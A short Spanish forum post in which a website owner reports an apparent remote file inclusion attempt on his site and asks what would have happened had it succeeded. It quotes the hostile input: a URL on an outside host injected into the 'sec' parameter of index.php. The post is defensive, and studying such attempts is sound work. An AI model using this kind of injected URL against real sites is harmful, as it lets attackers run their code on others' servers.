¿Intento de ataque?

[heroes1]

El código que he copiado pertenece al archivo txt y no es mío. Lo que han hecho es lo siguiente:

Yo tengo una web donde para acceder a las distintas secciones se le pasa una parámetro a una variable por url, algo así,

http://www.xxxxxxx.com/index.php?sec="lo que sea"

pues en "lo que sea" han colado la url http://exnetwork.100webspace.net/on.txt? quedando así

http://www.xxxxxxx.com/index.php?sec=http://exnetwork.100webspace.net/on.txt?

Pero no les ha funcionado, lo que quiero saber es que hubiera pasado si le hubiese funcionado el intento.